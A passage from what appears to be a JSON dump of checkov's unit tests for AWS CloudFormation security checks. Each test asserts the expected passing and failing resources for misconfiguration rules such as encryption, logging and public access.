    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaInVPC import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaInVPC(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LambdaInVPC\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Function.Enabled\",\n            \"AWS::Serverless::Function.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::Lambda::Function.Default\",\n            \"AWS::Serverless::Function.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaServicePermission.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaServicePermission import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaServicePermission(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LambdaServicePermission\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Permission.FunctionPassingArnPermission\",\n            \"AWS::Lambda::Permission.FunctionPassingAccountPermission\",\n            \"AWS::Lambda::Permission.ExampleS3ServicePermission\",\n            \"AWS::Lambda::Permission.ExampleEventsServicePermission\"\n        }\n        failing_resources = {\n            \"AWS::Lambda::Permission.FunctionFailPermission\",\n        }\n        unknown_resources = {\n            \"AWS::Lambda::Permission.FunctionStringPrincipallPermission\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LaunchConfigurationEBSEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.LaunchConfigurationEBSEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLaunchConfigurationEBSEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LaunchConfigurationEBSEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_MQBrokerAuditLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.MQBrokerAuditLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMQBrokerAuditLogging(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MQBrokerAuditLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::AmazonMQ::Broker.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::AmazonMQ::Broker.Default\",\n            \"AWS::AmazonMQ::Broker.Disabled\",\n        }\n\n        passed_check_resources = set(c.resource for c in report.passed_checks)\n        failed_check_resources = set(c.resource for c in report.failed_checks)\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 4)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_MSKClusterEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.MSKClusterEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMSKClusterEncryption(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MSKClusterEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::MSK::Cluster.MSKClusterPASSTLS\",\n        }\n        failing_resources = {\n            \"AWS::MSK::Cluster.MSKClusterFAILskip\",\n            \"AWS::MSK::Cluster.MSKClusterFAILnotTLS\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_MSKClusterLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.MSKClusterLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMSKClusterLogging(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MSKClusterLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::MSK::Cluster.MSKClusterPASS\",\n            \"AWS::MSK::Cluster.MSKClusterPASSskip\",\n        }\n        failing_resources = {\n            \"AWS::MSK::Cluster.MSKClusterFAILempty\",\n            \"AWS::MSK::Cluster.MSKClusterFAILdeclared\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_MSKClusterNodesArePrivate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.MSKClusterNodesArePrivate import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestMSKClusterNodesArePrivate(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_MSKClusterNodesArePrivate\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::MSK::Cluster.MSKClusterPASS\",\n            \"AWS::MSK::Cluster.MSKClusterPASS2\"\n        }\n        failing_resources = {\n            \"AWS::MSK::Cluster.MSKCluster\",\n            \"AWS::MSK::Cluster.MSKCluster2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_NeptuneClusterBackupRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.NeptuneClusterBackupRetention import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNeptuneClusterBackupRetention(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NeptuneClusterBackupRetention\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterAdequate\",\n        }\n        failing_resources = {\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterNotAdequate\",\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterDefault\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_NeptuneClusterLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.NeptuneClusterLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNeptuneClusterLogging(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NeptuneClusterLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterDefault\",\n            \"AWS::Neptune::DBCluster.NeptuneDBClusterEmpty\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_NeptuneClusterStorageEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.NeptuneClusterStorageEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestNeptuneClusterStorageEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NeptuneClusterStorageEncrypted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ParameterStoreCredentials.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.ParameterStoreCredentials import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestParameterStoreCredentials(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_ParameterStoreCredentials\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::SSM::Parameter.GoodNoKeyword\",\n            \"AWS::SSM::Parameter.GoodVariable\",\n            \"AWS::SSM::Parameter.GoodFnSub\",\n            \"AWS::SSM::Parameter.GoodRef\",\n            \"AWS::SSM::Parameter.PassTestName\",\n            \"AWS::SSM::Parameter.PassTestVALUE\",\n            \"AWS::SSM::Parameter.DynamoDbParameter\",\n        }\n        failing_resources = {\n            \"AWS::SSM::Parameter.FailAPIKey\",\n            \"AWS::SSM::Parameter.Bad1\",\n            \"AWS::SSM::Parameter.Bad2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_QLDBLedgerDeletionProtection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.QLDBLedgerDeletionProtection import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestQLDBLedgerDeletionProtection(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_QLDBLedgerDeletionProtection\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::QLDB::Ledger.Default\",\n            \"AWS::QLDB::Ledger.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::QLDB::Ledger.Disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_QLDBLedgerPermissionsMode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.QLDBLedgerPermissionsMode import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestQLDBLedgerPermissionsMode(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_QLDBLedgerPermissionsMode\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::QLDB::Ledger.Standard\",\n        }\n        failing_resources = {\n            \"AWS::QLDB::Ledger.AllowAll\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSClusterIAMAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RDSClusterIAMAuthentication import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSClusterIAMAuthentication(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterIAMAuthentication\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::RDS::DBCluster.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::RDS::DBCluster.Default\",\n            \"AWS::RDS::DBCluster.Disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.RDSEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RDSEnhancedMonitorEnabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSEnhancedMonitorEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RDSEnhancedMonitorEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::RDS::DBInstance.Enabled\",\n            \"AWS::RDS::DBInstance.EnabledNumber\",\n        }\n        failing_resources = {\n            \"AWS::RDS::DBInstance.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSIAMAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RDSIAMAuthentication import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSIAMAuthentication(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSIAMAuthentication\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::RDS::DBInstance.EnabledMysql\",\n            \"AWS::RDS::DBInstance.EnabledPostgres\",\n        }\n        failing_resources = {\n            \"AWS::RDS::DBInstance.DefaultMysql\",\n            \"AWS::RDS::DBInstance.DefaultPostgres\",\n            \"AWS::RDS::DBInstance.DisabledMysql\",\n            \"AWS::RDS::DBInstance.DisabledPostgres\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSMultiAZEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.RDSMultiAZEnabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSMultiAZEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSMultiAZEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::RDS::DBInstance.MyDBEnabled\",\n        }\n        failing_resources = {\n            \"AWS::RDS::DBInstance.MyDBDefault\",\n            \"AWS::RDS::DBInstance.MyDBDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RDSPubliclyAccessible.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.RDSPubliclyAccessible import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRDSPubliclyAccessible(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSPubliclyAccessible\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RedShiftSSL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.RedShiftSSL import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedShiftSSL(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedShiftSSL\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupEnabled\",\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupEnabledBool\",\n        }\n        failing_resources = {\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDefault\",\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDisabled\",\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDefault2\",\n            \"AWS::Redshift::ClusterParameterGroup.RedshiftParameterGroupDisabled2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RedshiftClusterEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.RedshiftClusterEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedshiftClusterEncryption(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RedshiftClusterEncryption\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterDefault\",\n            \"AWS::Redshift::Cluster.RedshiftClusterDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RedshiftClusterLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RedshiftClusterLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedshiftClusterLogging(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_RedshiftClusterLogging\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterDefault\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_RedshiftClusterPubliclyAccessible.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.RedshiftClusterPubliclyAccessible import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedshiftClusterPubliclyAccessible(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_RedshiftClusterPubliclyAccessible\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Redshift::Cluster.RedshiftClusterDefault\",\n            \"AWS::Redshift::Cluster.RedshiftClusterDisabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        